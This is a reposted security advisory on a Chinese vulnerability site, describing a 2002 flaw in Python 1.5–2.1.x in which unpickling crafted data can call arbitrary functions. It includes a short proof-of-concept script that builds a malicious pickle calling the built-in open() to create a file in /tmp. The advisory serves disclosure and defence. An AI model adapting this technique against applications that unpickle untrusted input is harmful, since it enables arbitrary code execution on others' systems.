Python 1.5/1.6/2.0/2.1.x – Pickle Class Constructor Arbitrary Code Execution

admin 2021年4月9日00:28:56网络安全漏洞评论56阅读模式

Python 1.5/1.6/2.0/2.1.x - Pickle Class Constructor Arbitrary Code Execution

漏洞ID 1053602 漏洞类型
发布时间 2002-07-17 更新时间 2002-07-17
Python 1.5/1.6/2.0/2.1.x – Pickle Class Constructor Arbitrary Code ExecutionCVE编号 N/A
Python 1.5/1.6/2.0/2.1.x – Pickle Class Constructor Arbitrary Code ExecutionCNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/21624
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/5257/info


Python is an open source, object oriented programming language. The Python Pickle module is provided to convert object variables into a serialized form ("pickling"), and later recover the data back into an object hierarchy ("unpickling").

A vulnerability has been reported in the Pickle implementation included with some versions of Python. If specially crafted malicious object data is "unpickled", it may cause arbitrary Python commands to be executed, including system calls. This is accomplished by specifying an available function as the class constructor.

Exploitation of this vulnerability will be highly dependent on a specific Python application which accepts a pickle string from an untrusted source. This behavior has been reported in some implementations of the Python SmartCookie class.

import pickle, new

def nasty(module, function, *args):
return pickle.dumps(new.classobj(function, (), {
'__getinitargs__': lambda self, arg = args: arg,
'__module__': module
}) ())

# Create the evil pickle
t = nasty("__builtin__", "open", "/tmp/pickle-bug", "w")
# Show the user how it looks
print repr(t)
# Now, load the pickle -- creates the file /tmp/python-is-buggy (by calling
# the builtin open() function, then raises an exception. But the damage is
# done...
pickle.loads(t)

相关推荐: NT LsaLookupSids() DoS Vulnerability

NT LsaLookupSids() DoS Vulnerability 漏洞ID 1104453 漏洞类型 Input Validation Error 发布时间 1999-12-16 更新时间 1999-12-16 CVE编号 N/A CNNVD-ID N…

相关文章
weinxin
我的微信
微信扫一扫
admin
  • 本文由 发表于 2021年4月9日00:28:56
  • 转载请保留本文链接:https://aqxbk.com/archives/security/securityvulns/2021/04_09/27774.html